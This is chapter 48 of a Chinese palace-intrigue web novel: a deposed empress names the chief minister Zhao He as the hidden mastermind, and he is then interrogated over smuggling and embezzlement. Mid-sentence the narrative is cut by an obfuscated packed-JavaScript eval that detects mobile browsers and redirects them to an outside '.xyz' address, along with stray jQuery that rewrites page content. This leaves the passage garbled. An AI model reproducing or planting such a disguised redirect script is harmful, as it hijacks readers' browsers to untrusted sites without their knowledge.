48. 揭发

作品:《见春

    “陈昀,你准备好了?”


    冷宫里,乔竹心与吴泪坐在陈昀对面,已经准备好做口供了。


    吴泪侧眼打量她,不过才在冷宫待了半个多月,陈昀就老了十多岁,眼窝深陷、眼球几乎要掉出来了。宫里的女人就像皇帝养的花,按时浇水、施肥就越活越漂亮,可只要被抛弃,就会迅速枯萎,挨不过半天的风吹日晒。


    人为什么要活成这样呢?她不愿再看了,收回目光,望着空白的纸出神。


    陈昀咽了口唾沫:“我知道‘上位’是谁。”


    乔竹心与吴泪同时抬头,同时用诧异的眼神看陈昀。


    乔竹心:“是谁?”


    陈昀沉默。


    乔竹心深吸一口气:“回答。”


    陈昀抬眸,期待地问:“我说了,陛下能不杀我吗?”


    乔竹心沉吟片刻,道:“我会为你求情。”


    这意思就是,看你说的东西严不严重,要是没多大事,能替你说点好话求个饶。陈昀啜泣,她双手掩面,道:“我还不想死……”


    乔竹心问:“就算一辈子在冷宫,你也不想死吗?”


    陈昀哽咽道:“好死不如赖活着。”


    乔竹心往后倚,以一种十分放松的姿势瘫在椅子里:“那你没必要主动交代,陈昀,我没办法保证,陛下会不会留住你的命。”


    陈昀小声说:“司丞是陛下最信任的人。关于‘上位’我知道的真不少,我什么都能说,我只求陛下能留我们母子三人的性命。”


    乔竹心盯着她的眼睛,突然笑了。她怎么能替皇帝下这种承诺?


    “既然如此,你就没必要说了。”乔竹心站起身,吩咐吴泪,“回晦朔司。”


    “等等。”有人推开了房门。


    乔竹心与吴泪立马跪下:“见过陛下。”


    皇帝裹着黑色大狐裘,一脚迈进了陈昀房中。陈昀看见是皇帝,像落花似的软软地倒伏在地上。她声音小得像猫一样:“陛下……”


    “知道什么,你都如实说来。”皇帝心疼地说,回头看乔竹心与吴泪,才说,“若你把你知道的和盘托出,朕……保你们母子三人的性命。”


    陈昀以膝盖为足,爬向了皇帝,却在离他还有一段距离时停下:“陛下!泊舟与锦儿什么都不知道……臣妾怕他们……”


    “朕不会把他们贬为庶人。”皇帝坐下,“他们也是朕的亲骨肉。”


    陈昀不停叩头:“臣妾谢陛下!谢陛下!”


    “说,”皇帝怜爱地望着她,“朕今日就在这。”


    陈昀用手背擦干眼泪,她快速地捋顺头发,两手抱在胸前,毕恭毕敬地说:“赵鹤!赵鹤就是‘上位’!”


    皇帝瞳仁骤缩,吴泪赶紧记口供,她跟乔竹心连头都不敢抬。


    皇帝停顿许久:“……当朝首辅,赵鹤?”


    陈昀点头如捣蒜:“他在吏部这些年,用升迁,指使章玉良、李纳等人为他敛财。盛平五年,以修筑黄河堤坝之名,征收大量徭役以建盐马道。同年,与潼裕的鸣沙商行合作,与力剌开始盐马交易。”


    皇帝久久说不出话来,缓了许久,才问:“你是怎么知道的?他做这些事,与你有什么关系?与屹王,又有什么关系?”


    陈昀沉默,皇帝话中带着火||药味。


    皇帝急切地说:“答话。”


    “泊舟与赵家的大小姐赵照,自小便有婚约。”陈昀提一口气,“父母之爱子,必为之计深远。我们都希望孩子们都能有个好未来,于是自作主张……做了那么多错事。”


    皇帝诧异地问:“我们?”


    陈昀吓了一大跳:“是臣妾跟赵鹤……是臣妾猪油蒙了心,才给泊舟定了这桩婚事!陛下,臣妾当时什么都不懂,只想着两家孩子年纪相仿、门第合适,臣妾只想给泊舟拼个好前途,臣妾心里只有陛下呀!”


    “朕怎么会怀疑你呢?”皇帝松了口气,“朕对你如何,你对朕如何,朕都看在眼里。”


    陈昀低着头,皇帝没见她嫌恶地翻了白眼。她从袖中取出赵鹤给她的玉佩,皇帝稍微一回眸,乔竹心便会意,把玉佩捧到了皇帝面前。


    “这块玉佩,是泊舟去潼裕那年,赵鹤亲手给臣妾的。他说,潼裕的路都已经为泊舟打通了,有了这块玉佩,潼裕的人亦会为臣妾所用。臣妾不知道他在潼裕做了什么,这块玉佩,臣妾一直都没用……”


    皇帝举着那块玉佩:“一直没用?”


    “泊舟去了潼裕后,时常来信说,潼裕山匪多,力剌又虎视眈眈,但朝廷拨的军饷不够,他想干出一番事业,却处处掣肘。臣妾猜,泊舟日子过得苦,他的王妃赵照肯定也心疼,几封家书送到京城,赵鹤就决定帮泊舟一把。”


    皇帝:“所以赵鹤指使西北的官员贪墨,从中分走一杯羹,作为泊舟的军费?那么大一笔钱,泊舟就没起疑?”


    “不是,陛下!”陈昀说,“赵鹤在边疆做盐马生意,弄来大批马后,经由鸣沙商行,把马卖给了屹王军。泊舟用新马替换掉营中的老马、病马、瘦马,这才慢慢提升潼裕军队实力。”


    皇帝:“军费不够,难道不会找朝廷要吗?非要自己从外面买这种来路不明的马!”


    “陛下,泊舟也没办法!”陈昀说,“潼裕那地方前有狼后有虎,泊舟也是不想让陛下对他失望……陛下,您就看在泊舟去年打了场大胜仗的份上,一定不要迁怒于泊舟啊!”


    皇帝压着火:“你还有知道什么?”


    “臣妾久居深宫,知道的,全都告诉了陛下。”陈昀战战兢兢地说。


    乔竹心抬眸看陈昀,余光注意到吴泪,她也是一脸疑惑。


    这就完了?陈昀说的话简直漏洞百出。


    皇帝大骂:“蠢货。你,泊舟,两个蠢货。”


    陈昀爬向皇帝,抓住他的脚踝:“陛下!您说过不要泊舟的命,陛下——求您了!”


    皇帝闭上了眼睛,失望地说:“朕会好好查。赵鹤、泊舟都做了什么,朕的人都会查清楚。泊舟他如果真做了不该做的,朕这一回,绝不可能包庇。”


    皇帝站起来,陈昀拉着他不让他走,陈昀说:“陛下!一言既出驷马难追,你不能食言!”


    “朕会好好考量。”皇帝叹息,伸手推开了陈昀。


    乔竹心扯一把吴泪的衣袖,她们跟着皇帝一起离开了冷宫。皇帝站在冷宫门口,回眸往陈昀所处的屋子,缓了很久才问乔竹心:“你觉得如何?”


    “陛下,废后所言,七分真、三分假。”乔竹心实话实说


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16509612|183179||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,“赵鹤究竟是不是‘上位’,臣不清楚。玉佩、鸣沙商行应该真,废后从未插手潼裕事宜……应该假。臣以为,应即刻查抄赵府、调查鸣沙商行。”


    皇帝:“准。”


    “臣还有一事,是否审问屹王妃赵照?”


    虽然陈昀的证词把赵照摘得挺干净的,但他们都清楚,赵照作为萧回与赵鹤联系的纽带,绝对不可能什么都不知道。赵鹤在潼裕做了那么多见不得人的事,不就为了让他的独女一步步地成为太子妃、皇后、甚至是太后吗?


    赵照,审还是不审,取决于皇帝的态度。


    如果皇帝要一查到底,做好了对萧回下手的准备,不光赵照要审,萧回本人也要审。可皇帝刚刚答应了陈昀,会保她一双儿女的性命,所以……


    “不必审了。”皇帝低声说。


    乔竹心与吴泪顿时明白——皇帝依然要袒护萧回。


    —


    晦院大牢中,赵鹤端坐在审讯室,乔竹心、吴泪、连云栈三人一起审问。


    乔竹心拿出那块玉佩:“认得吗?”


    “这是我赠予废后的。”赵鹤大大方方承认。


    乔竹心:“她揭发你,说——你就是‘上位’。”


    赵鹤敛眸:“她都告诉你们了?”


    “你很平静。”吴泪说,“你早就知道她会揭发你?”


    赵鹤闻声看向吴泪,昏黄的烛光映在他炯炯如炬的眼眸,竟掩盖了一大部分光芒。赵鹤凝视吴泪,瘦削的脸上露出一片巨大的笑,离远了看,像一具阴森森的骷髅。


    “对。人人都会过河拆桥。”


    乔竹心歪头打量他:“你帮她过了哪条河?”


    “彼时陛下还未登基,她还是陛下的侧妃,二殿下才六岁。她就找到我,要给二殿下和我的照儿结娃娃亲。我就照儿一个孩子,我当然希望她嫁个好人家,一辈子荣华富贵。我帮二殿下,也就是帮我的照儿。”


    乔竹心又问:“我问你,你具体都帮了什么?”


    赵鹤想了半天,一边说还一边掰手指数:“向陛下进言,送二殿下去潼裕历练;借章玉良、李纳等潼裕官员的手加赋税、扣赈灾;跟力剌交易,为屹王军换战马……至于其他的,我想不起来了。”


    吴泪说:“我们抄出了二十万两白银、三十八处宅院、珠宝玉器若干……潼裕那几个跟你一比,还真是小巫见大巫啊。”


    赵鹤愣了片刻,无奈地笑:“有那么多吗?”


    “……”乔竹心问,“我们还冤枉你了?”


    “我没想到有那么多。”赵鹤开玩笑似的。


    乔竹心:“你要那么多钱干什么?”


    “乔大人啊,这世上哪有人嫌钱多?”


    “我朝与力剌未开互市,你走私盐马,可是抄家的大罪。”乔竹心说,“你已经是首辅了,你还有什么不满足?”


    “我刚才说的很清楚,我希望照儿好。”


    乔竹心:“可她有你这个父亲,有屹王做她的丈夫,她膝下有长孙,这一辈子都是荣华富贵。”


    “不够。”赵鹤眉头上挑,“我的女儿,不能只做一个王妃。她应该做皇后,做太后,做太皇太后,让大燕以后的皇帝身上都有她的血脉!这是她的福气,也是我赵家的荣耀!”